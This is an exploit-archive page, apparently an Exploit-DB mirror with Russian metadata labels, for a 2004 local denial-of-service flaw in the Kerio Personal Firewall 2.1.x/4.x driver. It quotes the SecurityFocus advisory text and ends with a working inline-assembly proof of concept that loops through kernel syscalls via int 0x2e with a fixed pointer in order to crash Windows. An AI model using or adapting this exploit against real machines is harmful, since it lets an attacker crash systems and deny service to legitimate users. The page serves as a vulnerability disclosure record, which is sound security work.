Exploit Kerio Personal Firewall 2.1.x/4.x - Local Denial of Service

[Exploiter]

EDB-ID

24809

Проверка EDB

1. Пройдено

Автор

CESARO

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

N/A

Дата публикации

2004-12-08

Kerio Personal Firewall 2.1.x/4.x - Local Denial of Service

source: https://www.securityfocus.com/bid/11859/info

It is reported that the Kerio Personal Firewall (KPF) driver does not sufficiently sanitize API parameters that are received from API's that are hooked by KPF. When the KPF API hook handles certain parameter data it will fail. Reports indicate that this exception is not expected and as a result, the Windows kernel crashes triggering a system wide denial of service.

A local attacker may exploit this vulnerability to deny service to legitimate users.

_asm{
  xor ebx,ebx
  start:
  mov     eax,ebx
  mov     edx,0x00010001 //writable mem area could be any value
  int     0x2e
  inc ebx
  jmp start
}